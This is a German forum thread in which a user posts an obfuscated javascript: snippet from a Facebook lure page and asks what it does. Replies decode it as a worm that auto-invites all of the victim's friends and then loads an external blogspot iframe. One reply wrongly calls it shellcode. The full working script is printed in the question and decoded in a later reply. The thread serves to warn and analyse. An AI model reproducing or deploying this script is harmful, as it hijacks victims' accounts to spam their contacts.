was macht dieser javascriptcode?

[Blade]

Hi Leute,

ich habe soeben in facebook eine seite entdeckt die mit einem video wirbt, dass erscheint wenn man folgenden code in seine adressleiste einfügt und enter drückt:

javascript:var _0xd9ea=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x32\x35\x34\x35\x32\x34\x32\x30\x37\x39\x38\x32\x36\x38\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x61\x72\x6E\x69\x6E\x67\x2D\x63\x61\x75\x74\x69\x6F\x6E\x2E\x62\x6C\x6F\x67\x73\x70\x6F\x74\x2E\x63\x6F\x6D\x2F\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];var variables=[_0xd9ea[0],_0xd9ea[1],_0xd9ea[2],_0xd9ea[3],_0xd9ea[4],_0xd9ea[5],_0xd9ea[6],_0xd9ea[7],_0xd9ea[8],_0xd9ea[9],_0xd9ea[10],_0xd9ea[11],_0xd9ea[12],_0xd9ea[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xd9ea[14]);

da java für mich wie chinesisch ist und ich nicht weiß was dieser code auslöst würde ich es gerne erst von euch wissen bevor ich da was mache.

Danke schonmal

Grüße
Blade

 

[Crackp0t]

AW: was macht dieser javascriptcode?

Das sieht mir extremst nach Shellcode aus. Shellcodes sind verinfacht gesagt Kontrollbefehle an die CPU. Diese finden vor allem bei Exploits Anwendung, also Methoden die eine bestimme Sicherheitslücke in einer Anwendung ausnutzen, um Schadcode auszuführen. Ich würde an deiner Stelle diese Seite melden.

 

[saila]

AW: was macht dieser javascriptcode?

Hi,

das ganze ist in Klarschrift erst einmal auf das Array "_0xd9ea" aufgebaut, was letztlich folgendes beinhaltet:

innerHTML
app4949752878_body
getElementById
<a id="suggest" href="#"  ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=125452420798268"  class=" profile_action actionspro_a" rel="dialog-post">Suggest to  Friends</a>
suggest
MouseEvents
createEvent
click
initEvent
dispatchEvent
select_all
sgm_invite_form
/ajax/social_graph/invite_dialog.php
submitDialog
<iframe  src="http://warning-caution.blogspot.com/" style="width: 820px; height:  600px;" frameborder=0 scrolling="no"></iframe>

Danach folgen Anweisungen per Void-Operator. Was das letztlich bewirkt habe ich nicht weiter verfolgt. Beim vollständigen Aufruf des gesamten in einer Funktion ergab es letztlich einen Fehler.

 

[Duddle]

AW: was macht dieser javascriptcode?

Der decodierte Code zeigt für mich recht deutlich einen Wurm. Das Ding gibt deinen Netzwerk-Freunden automatisch die gleiche Einladung / Meldung, die du auch erhalten hast und öffnet dann eine Seite, die dich wohl zu noch mehr Unheil anstiften wöllte.

Wie immer: wenn du nichts damit anfangen kannst, fass es nicht an.


Duddle

 

[Blade]

AW: was macht dieser javascriptcode?

hab mir schon gedacht dass es nichts gutes sein kann.
danke für die infos.